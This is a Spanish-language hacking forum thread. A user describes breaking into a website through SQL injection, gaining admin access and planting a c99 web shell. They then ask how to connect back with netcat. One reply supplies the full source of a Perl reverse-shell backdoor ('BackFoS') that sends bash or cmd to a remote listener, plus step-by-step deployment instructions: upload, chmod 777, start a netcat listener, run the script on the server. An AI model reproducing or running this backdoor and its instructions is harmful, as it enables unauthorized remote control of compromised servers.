Hola.

Digamos que estos dias e estado haciendo inyecciones sql y despues de una semana pues que pincho una web bulnerable y me ago del admin y todo acceso e inserto una shell c99 ok todo bien pero me encuentro en el youtube, un video donde suben un nc lo curioso es que conectan desde widows /linux, e buscado previamente en google y nada no e encontrado algun manual que me diga como conectar de windows a linux aki dejo el video para que lo chequen y si pueden aportar estaria muy agradecido

http://www.youtube.com/watch?v=Zrp-HeeU4ME

Saludos

linuxfer (11 y): 9371 #!/usr/bin/perl

########### BackFoS v0.2 - By FoS TeaM - [priv8] ##########
# #
# BackFoS is a Backdoor in PERL for all Servers #
# c0dex by Vengador de las Sombras #
# #
# USAGE: Perl BackFoS.pl <HOST> <PORT> <OS> #
# You need have listen nc, cryptcar, putty or other #
# program on <PORT> to connect with the backdoor #
# #
#================================================= ========#
# #
# Gr3tz to: Lutscher, WaesWaes, CHR0N05, Keynet, Fr34k, #
# Lëssiëm Táralóm, Phonix & ArgeniversoHack & #RE members #
# Especial Thanx To Plaga, for the help =) #
# #
#################### (c)FoS TeaM 2008 #####################

use IO::Socket;

print q(

=================================================
BackFoS.pl c0dex by FoS TeaM
=================================================
);
$ARGC = @ARGV;
if ($ARGC != 3){
print "\nUsage: BackFoS.pl <HOST> <PORT> <OS>";
exit(0);
}

$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;

print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
|| die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
|| die "[-] Cannot Connect to $host";

print "\n[+] Connected!";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

print "\n .::BackFoS v0.2 - FoS TeaM - [Priv8]\n";
if ($OS == "-l"){
$ejecutor = "/bin/bash";
system($ejecutor);
}

if ($OS == "-w"){
$ejecutor = "cmd";
system($ejecutor);
}


1- subi backdoor
2- dar permisos chmod -c 777 backdoor.pl
3- abrir nc en tu pc
4- ponerlo a la escucha nc -v -l -p tu puerto
5- ejecutar backdoor en el servidor perl backdoor.pl ip puerto windows o linux segun en que este el servidor
de ahi en mas si tenes problemas para conectar revisa si abriste bien los puertos , de todas formas ahi miles de formas para conectar shell no te claves solo en esta

saludos!

lokolopsycho (11 y): 9372 muchas gracias aplicandolo

KzZiIi3l (11 y): 9373 man veo un poco de novates, es un "back-door" un simple script; Hechos en pearl, python etc.. hasta ruby creo.. en cualqiero SO se puede hacer una coneccion inversa, solo basta con qe tenga alguno de estos lenguajes instalados qe los perl, en los linux lo traen por defecto y python tambien mayoritariamente.

lokolopsycho (11 y): 9377 Gracias por tu aporte desconocia eso

Saludos....

KzZiIi3l (11 y): 9382 De nada, sone un poco duro xDD

lokolopsycho (11 y): 9384 lo se... imagina ke me diria duff

Para dejar un comentario Registrase o Iniciar sesión